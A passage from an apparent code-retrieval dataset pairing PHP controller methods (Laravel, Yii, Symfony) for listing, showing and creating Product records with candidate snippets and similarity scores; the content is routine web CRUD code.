Product::all());\n }", "public function index()\n {\n $productList = Product::all();\n return view('product.productList', ['products' => $productList]);\n }", "public function index()\n {\n return ProductType::all();\n }", "public function index()\n {\n $products=Product::all();\n return view('allproduct',compact('products'));\n }", "public function actionIndex()\n {\n $searchModel = new ProductoSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function actionIndex()\n {\n $searchModel = new ProductoSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function all()\n {\n return Product::orderBy('id', 'desc')->get();\n \n }", "public function index()\n {\n $product = new \\App\\Models\\Product();\n $products = $product::all();\n return view('resource.products', compact('products'));\n }", "public function index()\n {\n $products = $this->productRepository->all();\n return view('admin.products.index', [\n 'products' => ProductResource::collection($products),\n 'module' => 'products',\n ]);\n }", "public function index()\n {\n return ProductResource::collection(Product::orderBy('id', 'desc')->get());\n }", "public function index()\n {\n $products = ProductType::paginate();\n return view('webshop.productList', compact('products'));\n }", "public function index()\n {\n $items = Product::all();\n\n return view('shop::product.index', get_defined_vars());\n }", "public function index()\n {\n return view('admin.products.index')\n ->with('products',Product::all());\n }", "public function fetchAll()\n {\n $products = product::with('brand')->paginate(8);\n return productResource::collection($products);\n }", "public function index()\n {\n $products = $this->products->get();\n\n return ProductResource::collection($products);\n }", "public function index()\r\n {\r\n $product = Product::all();\r\n return view('admin.product.index')->with(['products'=>$product]);\r\n }", "public function index()\n {\n $products = Products::all();\n\n return $this->returnAll($products);\n\n }", "public function index()\n {\n $prodcucts = Product::with('category')->paginate(10);\n\n return new ProductCollection($prodcucts);\n }", "function actionGetAll()\n {\n $products = Product::getAll();\n $result = [];\n foreach ($products as $product) {\n $result[] = $product->__attributes;\n }\n\n echo $this->sendResult([\n 'success' => true,\n 'products' => $result\n ]);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index()\n {\n $product = Product::all();\n\n return (new ProductResourceCollection($product))->response();\n }", "public function index()\n {\n $products = Product::all();\n return view('admin.product.index', compact('products'));\n }", "function product_list()\n {\n $model = new ProductModel();\n $data['products'] = $model->findAll();\n echo view('Admin/product_list', $data);\n }", "public function index()\n {\n $product = Product::all();\n\n return view('admin.product.index', ['product' => $product]);\n }", "public function getProductList(){\n\n $productModel = new ProductModel();\n $products = $productModel->getProductList();\n $this->JsonCall($products);\n }", "public function index()\n {\n return view('pharmacy.inventory.product.index', [\n 'products' => Product::with('manufacturer', 'category')\n ->orderByDesc('id')\n ->where('company_id', company_id())\n ->paginate(),\n 'categories' => Category::where('status',1)\n ->where('company_id', company_id())\n ->get(),\n ]);\n }", "public function index()\n {\n $products = Product::all();\n return view('admin.products.index',compact('products'));\n }", "public function index()\n {\n $title = \"Product List\";\n\n $items = Product::with([\n 'category'\n ])->get();\n\n return view('pages.product.index', [\n 'title' => $title,\n 'items' => $items\n ]);\n }", "public function index()\n\t{\n\t\t$products = Product::all();\n\t\t\n\t\treturn view('catalog.product.index')\n\t\t->with('products',$products);\n\t}", "function get_products() {\n\t\tApp::Import('model', 'Product');\n\t\t$this->Product = &new Product;\n\n\t\t$products = $this->Product->find('all', array(\n\t\t\t'conditions' => array(\n\t\t\t\t\"Product.short_description != ''\",\n\t\t\t\t'Availability.cart_allowed' => true,\n\t\t\t\t'Product.active' => true\n\t\t\t),\n\t\t\t'contain' => array(\n\t\t\t\t'TaxClass' => array(\n\t\t\t\t\t'fields' => array('id', 'value')\n\t\t\t\t),\n\t\t\t\t'Image' => array(\n\t\t\t\t\t'conditions' => array('Image.is_main' => '1'),\n\t\t\t\t\t'fields' => array('id', 'name')\n\t\t\t\t),\n\t\t\t\t'Manufacturer' => array(\n\t\t\t\t\t'fields' => array('id', 'name')\n\t\t\t\t),\n\t\t\t\t'CategoriesProduct' => array(\n\t\t\t\t\t'Category' => array(\n\t\t\t\t\t\t'fields' => array('id', 'name')\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\t'Availability' => array(\n\t\t\t\t\t'fields' => array('id', 'cart_allowed')\n\t\t\t\t)\n\t\t\t),\n\t\t\t'fields' => array(\n\t\t\t\t'Product.id',\n\t\t\t\t'Product.name',\n\t\t\t\t'Product.short_description',\n\t\t\t\t'Product.url',\n\t\t\t\t'Product.retail_price_with_dph',\n\t\t\t\t'Product.ean',\n\t\t\t\t'Product.zbozi_name',\n\t\t\t\t'Product.heureka_name',\n\t\t\t\t'Product.discount_common',\n\t\t\t\t'Product.zbozi_cpc',\n\t\t\t\t'Product.heureka_cpc'\n\t\t\t)\n\t\t));\n\t\t\n\t\t$products = array_filter($products, array('ExportsController', 'empty_category'));\n\t\t\n\t\tforeach ($products as $i => $product) {\n\t\t\t$products[$i]['Product']['retail_price_with_dph'] = $this->Product->assign_discount_price($products[$i]);\n\t\t\t$products[$i]['Product']['name'] = str_replace('&times;', 'x', $products[$i]['Product']['name']);\n\t\t\t$products[$i]['Product']['short_description'] = str_replace('&times;', 'x', $products[$i]['Product']['short_description']);\n\t\t}\n\n\t\treturn $products;\n\t}", "public function index()\n {\n return Product::latest()->paginate(20);\n }", "public function index()\n {\n $products = Product::all();\n return view('products',compact('products'));\n }", "public function index()\n {\n Session::forget('input_categories');\n return view('admin.product.products', [\n 'products' => Product::latest()->paginate(10),\n ]);\n }", "public function index()\n {\n //\n\n $products = Product::get();\n\n return view('admin.product.index', compact('products'));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $products = $em->getRepository('CelinaBundle:Product')->findAll();\n\n return $this->render('product/index.html.twig', array(\n 'products' => $products,\n ));\n }", "public function index()\n {\n $products = Product::orderBy('id', 'ASC')->paginate(10);\n\n return view('admin.product.index', compact('products'));\n }", "public function index()\n {\n $list = Product::all();\n \n return view('products.show')->with('list',$list);\n }", "public function index()\n {\n $products = Product::all();\n return view(\"admin.displayProducts\", ['products' => $products]);\n }", "public function index()\n {\n $products = \\App\\Product::all();\n return view('admin.products.index', ['products' => $products]);\n }", "public function index()\n {\n $products = Product::all();\n return view('product/index', compact(['products']));\n }", "public function index()\n {\n return view('admin.product.index', [\n 'products' => Product::all(),\n 'products_trash' => Product::onlyTrashed()->get(),\n 'categories' => Category::all()\n ]);\n }", "public function actionIndex()\n {\n $filter = new FormProductFilter();\n\n $query = Product::find();\n if($filter->load(Yii::$app->request->get())){\n if($filter->model != ''){\n $query->andWhere(['like', 'model', $filter->model]);\n }\n if($filter->name != ''){\n $query->joinWith('textbylang')\n ->andWhere(['like', 'product_lang.title', $filter->name]);\n }\n if($filter->cat_id != ''){\n $query->andWhere(['like', 'cat_id', $filter->cat_id]);\n }\n }\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'sort'=> [\n 'defaultOrder' => [\n 'id' => SORT_DESC\n ]\n ],\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n 'filter' => $filter\n ]);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $products = $em->getRepository('AppBundle:Product')->findAll();\n\n return $this->render('product/index.html.twig', array(\n 'products' => $products,\n ));\n }", "public function index()\n {\n $products=productmodel::all();\n return view('viewallproduct',compact('products'));\n }", "public function index()\n {\n $products = Product::all();\n return view('admin.products.index', ['products' => $products]);\n }", "public function index()\n {\n return ProductResource::collection(Product::paginate(15));\n }", "public function index()\n {\n $products = Product::orderby('id', 'desc')->get();\n return view('adminlte::products.index', compact('products'));\n }", "public function index()\n {\n $Product = Product::all();\n return view('product.index', compact('Product'));\n }", "public function index()\n {\n $entradas_productos = EntradaProducto::all();\n\n return $this->showAll($entradas_productos);\n }", "public function index()\n {\n $products = Product::query();\n\n $products = $this->filter($products)->paginate(15);\n\n $categories = Category::get();\n\n return view('admin.product.index', compact('products', 'categories'));\n }", "public function index()\n {\n\n $categories = ProductCategory::all();\n\n $products = Product::paginate(10);\n return view('product.product')->with('products', $products)->with('categories', $categories);\n }", "public function index()\n {\n\t\t$products = Product::get();\n\n\t\treturn view('admin.products.index', compact('products'));\n }", "public function index()\n {\n return view('admin.product.index', [\n 'categories' => Category::all(),\n 'products' => product::all()\n ]);\n }", "public function index()\n {\n $products=Product::get();\n return view('admin.products.index',compact('products'));\n }", "public function index()\n {\n // List all products with categories\n $products = Product::all();\n \n // Return to product list with parameters\n return view('products.index')\n ->with('products', $products);\n }" ]
[ "0.7885379", "0.76026636", "0.76026636", "0.76026636", "0.76026636", "0.7598222", "0.7516363", "0.75066775", "0.74741864", "0.7467093", "0.7449273", "0.743686", "0.7395705", "0.7316345", "0.7304704", "0.7285531", "0.7263369", "0.7238982", "0.72332644", "0.72319394", "0.7231833", "0.72198236", "0.71977687", "0.71938854", "0.7189842", "0.71773195", "0.71773195", "0.71773195", "0.7171832", "0.7168994", "0.7156405", "0.7109899", "0.7096134", "0.70772207", "0.70677936", "0.7050691", "0.70219606", "0.7020314", "0.70165014", "0.70147663", "0.70072186", "0.6992052", "0.6976272", "0.6952157", "0.6943227", "0.6939695", "0.6922093", "0.6918773", "0.6905271", "0.69000614", "0.68889767", "0.68889767", "0.6887959", "0.6886116", "0.68816847", "0.6875037", "0.68572426", "0.68540144", "0.68534976", "0.6846442", "0.68453926", "0.6843733", "0.68379617", "0.6828597", "0.6826304", "0.682162", "0.6820682", "0.6816971", "0.68167037", "0.68139637", "0.68072623", "0.6806604", "0.6804861", "0.67992383", "0.6795777", "0.6786135", "0.67855215", "0.6781627", "0.67814666", "0.6780604", "0.67747474", "0.6768628", "0.67670065", "0.6758953", "0.6758785", "0.67587185", "0.6756628", "0.675247", "0.6751979", "0.6751286", "0.6750628", "0.6746874", "0.6743208", "0.6739281", "0.6737396", "0.6735444", "0.6734075", "0.6732099", "0.6731068", "0.67278993", "0.67263675" ]
0.0
-1
Displays a single Product model.
public function actionView($id) { $this->layout='inner'; /*$data= ProductCatSearch::find()->joinwith('product')->joinwith('category')->joinwith('user')->where(['product.id'=>$id])->one();*/ $data= Product::find()->where(['product.id'=>$id])->one(); //echo "<pre>"; print_r($data); die; return $this->render('view', [ 'model' => $data, ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function show()\n\t{\n\t\t$this->layout->set(null);\n\t\t$id = getParameter('id');\n\t\t$data = [\n\t\t\t'product' => $this->model->product->find_by_id($id)\n\t\t];\n\t\t$this->view->load('product/show', $data);\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show(Product $product)\r\n {\r\n //\r\n }", "public function show(Product $product)\n {\n \n }", "public function show(Product $product)\n {\n \n }", "public function show(Product $product)\n {\n \n }", "public function show(Product $product)\n {\n\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function show(Product $product)\n {\n //\n }", "public function productShowAction($id)\n {\n \n $repositoryProduct = $this->getDoctrine()\n ->getRepository('MainBundle:Product');\n \n \n // find product by id\n $product = $repositoryProduct->find($id);\n \n \n \treturn $this->render('MainBundle:Public:product.html.twig', array(\n 'product' => $product,\n ));\n }", "public function show(Product $product)\n {\n //\n\n }", "public function show(Product $product)\n {\n //\n }", "function product_view()\n {\n \t$id= $_GET['id'];\n $model = new ProductModel();\n $data = $model->where('id', $id)->first();\n echo view('Admin/product_view', $data);\n }", "public function show($product) {\n \n }", "public function viewProductAction($id) {\r\n $em=$this->getDoctrine()->getManager();\r\n $product=$em->getRepository('HologramBundle:Product')->find($id);\r\n return $this->render('HologramBundle:Front:oneProduct.html.twig',array('p'=>$product)); \r\n }", "public function show(product $product)\n {\n //\n }", "public function show(product $product)\n {\n //\n }", "public function showProduct($id){\n $p = Product::find($id);\n\n \t//Return view with selected product, if it exists.\n \treturn view('others.product', ['product' => $p]);\n }", "public function show()\n {\n $products = \\App\\Product::get();\n return view('products.show')->with('products', $products);\n }", "public function SingleProduct()\n {\n return view('MainTheme/single-product');\n }", "public function show($product)\n {\n //\n }", "public function show($product)\n {\n\n }", "public function show(ProductModel $productModel)\n {\n //must be done\n }", "public function show($id)\n {\n \n $product = Product::find($id);\n \n return view('admin.product.show')->with('product', $product);\n }", "public function show($id)\n\n {\n\n $product =Product::findOrFail($id);\n\n\n\n return view('backEnd.admin.product.show', ['product' => $product]);\n\n }", "public function show(Product $id)\n {\n\n return view('website.products.show',[\n 'product' => Product::findOrFail($id)->first()\n ]);\n }", "public function show($id)\n {\n $product=Product::find($id);\n return view('admin.product.show',compact('product'));\n\n }", "public function show($id)\n {\n //\n $product = Product::find($id);\n return view('backend/products.show', compact('product'));\n }", "public function viewdetailsAction()\n {\n $productId = $this->_getParam('product_id');\n $product = $this->_model->setId($productId);\n $this->view->product = $product->fetch(); \n \n }", "public function showAction(Product $product)\n {\n $deleteForm = $this->createDeleteForm($product);\n\n return $this->render('product/show.html.twig', array(\n 'product' => $product,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show($id)\n {\n // $product = $this->repository->where('id', $id)->first();\n // $product = $this->repository->find($id);\n\n if(!$product = $this->repository->find($id))\n return redirect()->back();\n\n\n return view('admin.pages.products.show', compact('product'));\n }", "public function singleProduct($id)\n {\n $product = Product::find($id);\n return view('user.single-product', compact('product'));\n }", "public function show($id)\n {\n return view('product::show');\n }", "public function show($id)\n {\n return view('product::show');\n }", "public function show($id)\n\t{\n\t\t$product = Product::findOrFail($id);\n\t\treturn view('product.show', compact('product'));\n\t}", "public function show($id)\n {\n $theProduct = Product::find($id);\n\n return view('front.products.show', compact('theProduct'));\n }", "public function show($id)\n {\n $product = Product::findOrFail($id);\n\n return view('admin.products.show', compact('product'));\n }", "public function show($id)\n {\n return view('admin.product.show');\n }", "public function show($id)\n {\n return view('shop::product.show');\n }", "public function show($id = null)\n {\n $data = Product::find($id);\n // echo '<pre>';\n // print_r($data);\n // return;\n return view('admin.products.show', compact('data'));\n }", "public function show($id)\n {\n $product = Product::find($id);\n return view('backend.product.show')->withProduct($product);\n }", "public function show($id)\n {\n //return view('product::show');\n }", "public function show(Product $product)\n {\n //\n return $product;\n }", "public function show($id)\n {\n return view('productmodule::show');\n }", "public function show($id)\n {\n $product = DB::select('select * from products where id = ?', [$id])[0];\n return view('admin.product.show', ['product'=>$product]);\n }", "public function showAction($id)\n {\n $dm = $this->getDocumentManager();\n\n $document = $dm->getRepository('StoreBundle:Product')->find($id);\n\n if (!$document) {\n throw $this->createNotFoundException('Unable to find Product document.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n\n return $this->render('StoreBundle:Product:show.html.twig', array(\n 'document' => $document,\n 'delete_form' => $deleteForm->createView(), ));\n }", "public function singleProduct($id)\n {\n $single = Product::where('id', $id)->get();\n return view('website.product', compact('single'));\n }", "public function show(int $id) {\n $product = $this->productRepo->findProductById($id);\n\n return view('admin.products.show', [\n 'product' => $product\n ]);\n }", "public function show()\n {\n $products = Product::orderBy('id','desc')->get();\n\n return view('customer.product.show',compact('products'));\n }", "public function show($id)\n {\n $model = Producto::findOrFail($id);\n return view('administracion.productos.show',['model'=>$model]);\n }", "public function show($id)\n {\n //$product = Product::find($id);\n\n //return view('products.show')->withProduct($product);\n }", "public function show(Product $product)\n {\n // Maybe a model? Will have to see how it works with snipcart's cart\n }", "public function show($id) {\n $product = $this->product->find($id);\n \n $titlle = \"Exibe produdo: $product->name\";\n \n \n return view('painel.products.show', compact('product', 'tittle'));\n \n }", "public function show($id)\n {\n $product = Product::find($id);\n\n return view('backoffice.product.show', compact('product'));\n }", "public function show($id)\n {\n $product = Product::find($id); //finding product based on received id\n return view('admin.products.show')->with('product', $product);\n }", "public function show($id)\n {\n $product = Product::find($id);\n return view('admin.products.show', compact('product'));\n }", "public function show($id)\n {\n $product = Product::findOrFail($id);\n return view('admin.products.show')->with('product', $product);\n }", "public function show()\n {\n //\n $productos = Productos::get();\n return view ('productos.show') -> with('productos', $productos);\n }", "public function show($id)\n {\n //\n $product=Product::find($id);\n return view('admin.products.show',compact(['product']));\n }", "public function show($id)\n {\n //get product by id\n $data['product']=Product::find($id);\n $data['attribute']=Attribute::find($id);\n return view('backend.product.show',compact('data'));\n }", "public function show($id)\n {\n $product = \\App\\Product::find($id);\n return view('admin.products.show', ['product' => $product]);\n }", "public function show($id)\n {\n $product = Products::findorFail($id);\n return view('admin.product.show', compact('product'));\n }", "public function show(){\n $per = self::get_permission();\n $all = product::all();\n return view('dashboard.product.show',compact('all','per'));\n }", "public function productDetailsAction()\n {\n $vars['productId'] = $this->route['id'];\n $vars['product'] = $this->model->getById($vars['productId']);\n $vars['colors'] = $this->model->getAvailableColors($vars['productId']);\n $this->view->render('Riding Gear', $vars);\n }", "public function show($id)\n {\n $product=Product::find($id);\n return view('product_order_system.ProductView',compact('product'));\n }", "public function index()\n {\n $viewproduct = ProductModel::get();\n return view('page.product.detailproduct', compact('viewproduct'));\n }", "public function index()\n {\n return view('content.product.product_show');\n }", "public function show($id)\n {\n $product = Product::find($id);\n return view('admin.products.detail', ['product' => $product]);\n }", "public function show($id) {\n $product = Product::find($id);\n return view('products.detail', compact('product'));\n }", "public function actionView($id)\n {\n return $this->render('view', [\n 'modelProduct' => $this->findModel($id),\n ]);\n }", "public function show($id)\n {\n $result['page_set'] = 'product_show';\n\n $product = $this->productService->findProduct($this->decrypt($id));\n $result['name'] = $product->name;\n $result['description'] = $product->description;\n $result['short_description'] = $product->short_description;\n $result['status'] = $product->status;\n $result['images'] = $product->featured_image;\n\n foreach ($product->category as $category) {\n $result['category_name'] = $category->name;\n }\n\n $result['product'] = $product;\n\n return view('admin.modules.product.show', $result);\n }", "public function show(Product $product) // passando ciò come parametri alla funzione show ottengo lo stesso risultato di ::find\n {\n // $product = Product::find($id); //quando il prarametro $id è uguale al id del prodotto...\n if($product) {\n $data = [\n 'product' => $product\n ];\n return view('products.show', $data);\n } else {\n abort(404);\n }\n }", "public function show(Product $product)\n {\n\n // tarea agregar a producto\n // stock\n // reviews\n // video\n // discount\n\n return view('components/products.show',compact('product'));\n }" ]
[ "0.84007233", "0.82365257", "0.80575275", "0.8004095", "0.8004095", "0.8004095", "0.797456", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79701304", "0.79667085", "0.7940381", "0.79135805", "0.7870198", "0.783713", "0.78346926", "0.7821903", "0.7821903", "0.77909076", "0.7735647", "0.7730855", "0.77035093", "0.7650602", "0.7644605", "0.76327646", "0.76085365", "0.76005554", "0.7598748", "0.7587385", "0.75872135", "0.75799966", "0.7578052", "0.7575807", "0.7573741", "0.7573741", "0.75694066", "0.7562925", "0.7558387", "0.755756", "0.7554121", "0.75488335", "0.75301737", "0.7529021", "0.7526047", "0.75177974", "0.7515913", "0.75088984", "0.7508182", "0.75061476", "0.75029045", "0.74930865", "0.7492724", "0.74925834", "0.7477487", "0.7476698", "0.74700224", "0.74656", "0.7461583", "0.7456383", "0.7455837", "0.74554694", "0.74553746", "0.74531174", "0.7449205", "0.7446917", "0.74447376", "0.7431016", "0.7428234", "0.7420524", "0.7417383", "0.74158937", "0.7414165", "0.7410392", "0.740906" ]
0.0
-1
Creates a new Product model. If creation is successful, the browser will be redirected to the 'view' page.
public function actionCreate() { $this->layout='inner'; $model = new Product(); $cat_list = ArrayHelper::map(ProductCategory::find()->where(['parent_id'=>'0'])->all(), 'id', 'cat_name'); $vendor = ArrayHelper::map(User::find()->where(['usertype'=>'Vendor'])->all(), 'id', 'username'); if ($model->load(Yii::$app->request->post())) { //$last_cat=end($_POST['Product']['category_id']); if($model->save()){ /*$product_cat= new ProductCat(); $product_cat->product_id=$model->id; $product_cat->category_id=$last_cat; $product_cat->save();*/ //Yii::$app->getSession()->setFlash('success','successful added your product'); return $this->redirect(['add-search-terms','id'=>$model->id]); } } else { return $this->render('create', [ 'model' => $model, 'cat_list'=>$cat_list, 'vendor'=>$vendor, ]); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function actionCreate()\n {\n $model = new Product();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function actionCreate()\n\t{\n\t\t$model=new Product;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Product']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Product'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function actionCreate()\n {\n $model = new Products();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function actionCreate()\n {\n $postData = Yii::$app->request->post();\n \n $model = new Product();\n\n if ($model->load($postData) && $model->save()) {\n return $this->redirect(['update', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function actionCreate()\n {\n $model = new Product();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index']);\n }\n\n return $this->render('create', [\n 'model' => $model,\n 'langs' => $this->getLangs(),\n ]);\n }", "public function actionCreate()\n {\n $model = new Producto();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id_prodcto]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function actionCreate()\n {\n /* @var $modelProduct \\common\\models\\Product */\n\n $modelProduct = Product::findOne(Yii::$app->session->get('tempId'));\n\n if(!isset($modelProduct)):\n Yii::$app->session->remove('tempModel');\n Yii::$app->session->remove('tempId');\n endif;\n\n if (isset($modelProduct) && $modelProduct->load(Yii::$app->request->post())):\n if($modelProduct->updateObject($modelProduct)):\n return $this->redirect(['view', 'id' => $modelProduct->id]);\n endif;\n endif;\n\n if(Yii::$app->session->get('tempModel') != 'Product'):\n\n $modelProduct = new Product();\n $modelProduct = $modelProduct->createObject();\n endif;\n\n return $this->render('create', [\n 'modelProduct' => $modelProduct,\n ]);\n }", "public function actionCreate()\n {\n\t\tif(!$this->IsAdmin())\n\t\t{\n\t\t\treturn $this->render('error', ['name' => 'Not Found (#404)', 'message' => 'Puuduvad piisavad õigused.']);\n\t\t}\n $model = new Product();\n\t\t\t$model->setAttribute('mfr', '-');\n\t\t\t$model->setAttribute('model', '-');\n\t\t\t$model->setAttribute('description', '-');\n\t\t\t$model->setAttribute('price', 0);\n\t\t\t$model->setAttribute('cut_price', 0);\n\t\t\t$model->setAttribute('stock', 0);\n\t\t\t$model->setAttribute('active', 1);\n\t\t\t\n\t\t$model->save();\n\t\t\n\t\treturn $this->redirect(['update', 'id' => $model->id]);\n\n }", "public function createAction()\n {\n\t $form = new Core_Form_Product_Create;\n $action = $this->_helper->url('create', 'product', 'default');\n $form->setAction($action);\n\n if ($this->_request->isPost()) {\n if ($form->isValid($_POST)) {\n $this->_model->create($form->getValues());\n\t \t $this->_helper->FlashMessenger('Product added successfully');\n $this->_helper->Redirector('index','product','default');\n } else {\n $form->populate($_POST);\n }\n } \n $this->view->form = $form;\n }", "public function actionCreate()\n {\n $model = new PricefallsProducts();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create(){\n\t\t$data['title'] = 'Create Product';\n\t\t\n\t\t//\tis user submitting form or viewing?\n\t\tif( $this->input->post() ){\n\t\t\t//\thandle cancelling\n\t\t\tif( strtolower( $this->input->post('submit') ) == 'cancel' ){\n\t\t\t\tredirect('product');\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t//\tvalidate form\n\t\t\t$this->form_validation->set_rules('type', 'type', 'trim|xss_clean');\n\t\t\t$this->form_validation->set_rules('name', 'name', 'trim|required|xss_clean');\n\t\t\t$this->form_validation->set_rules('price', 'price', 'trim|decimal|required|xss_clean');\n\t\t\t$this->form_validation->set_rules('model', 'model', 'trim|required|xss_clean');\n\t\n\t\t\tif( $this->form_validation->run() == TRUE ){\n\t\t\t//\tsave new product\n\t\t\t\t$name = set_value('name');\n\t\t\t\t$price = set_value('price');\n\t\t\t\t$model = set_value('model');\n\t\t\t\t$type = set_value('type') ? set_value('type') : NULL;\n\t\t\t\t\n\t\t\t\tif( $this->product_model->create( $name, $price, $model, $type ) ){\n\t\t\t\t//\tsuccess\n\t\t\t\t\t$this->contentData['message'] = 'product created';\n\t\t\t\t\treturn $this->index();\n\t\t\t\t} else {\n\t\t\t\t//\terror creating new user\n\t\t\t\t\t$this->contentData['message'] = $this->product_model->getMessage();\t\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t$this->contentData['message'] = validation_errors();\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t$data['content'] = $this->load->view('product/product_create', $this->contentData, TRUE);\n\t\t$this->techniart->load($data);\n\t}", "public function actionCreate()\n {\n if(Yii::$app->user->can('create-product')){\n $model = new Products();\n\n if ($model->load(Yii::$app->request->post())) {\n $model->file= UploadedFile::getInstance($model, 'file');\n $upload='';\n\n //UPLOAD FILE----------------------\n if($model->file){\n $imgPath='uploads/products/'; //Set Path\n $model->photo=$imgPath.$model->file->name; //Upload\n $upload=1;\n }\n\n if($model->save()){\n if($upload){\n $model->file->saveAs($model->photo);\n }\n return $this->redirect(['view','id'=>$model->id]); //redirect\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }else{\n throw new ForbiddenHttpException;\n }\n }", "public function create()\n {\n $categories=$this->model->getCategories();\n \n $colors=$this->model->getColours();\n return view(\"admin.pages.insertProduct\",['categories'=>$categories,'colors'=>$colors]);\n \n }", "public function actionCreate()\n {\n $model=new Product;\n \n $user=User::model()->findByPk(Yii::app()->user->id);\n $model->Company_idCompany=$user->Company_idCompany;\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if(isset($_POST['Product']))\n {\n $model->attributes=$_POST['Product'];\n \n $model->image=$this->uploadFile($model, 'image');\n \n if($model->save())\n $this->redirect(array('view','id'=>$model->idProduct));\n }\n\n $this->render('create',array(\n 'model'=>$model,\n ));\n }", "public function create() {\n\t\t$product = Product::create([\n\t\t\t'title' => '',\n\t\t]);\n\n\t\tif ($product) {\n\t\t\treturn redirect()->route('products.edit', $product->id);\n\t\t}\n\t}", "public function actionCreate()\n\t{\n\t\t$model=new Productos;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Productos']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Productos'];\n $model->precioUnitario=str_replace(\",\",\"\",$model->precioUnitario);\n\t\t\t$model->precioUnitario=str_replace(\"$\",\"\",$model->precioUnitario); \n\t\t\tif($model->save())\n {\n $objBitacora = new Bitacora();\n $objBitacora->setMovimiento('CREAR','Productos','',$model->id,'',4);\n Yii::app()->user->setFlash('success',Yii::t('app','Item successfully added'));\n $this->redirect(array('admin'));\n }\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function create(){\n return view(\"admin.addProduct\");\n }", "public function create(){\n \treturn view('product.create');\n }", "public function create() {\n /**\n * This controller is used to create a new product \n */\n return view('product.create');\n }", "public function actionCreate()\n {\n $model = new Products();\n \t$cat = new CategoryList();\n \t$cat->makeTree();\n \t$sta = Status::find()->all();\n\n $model->CREATEBY = 0;\n $model->PUBLISHBY = 0;\n\n if($model->load(Yii::$app->request->post()) && $model->validate()) {\n\t if ($model->save()) {\n\t return $this->redirect(['index']);\n\t } else {\n\t return 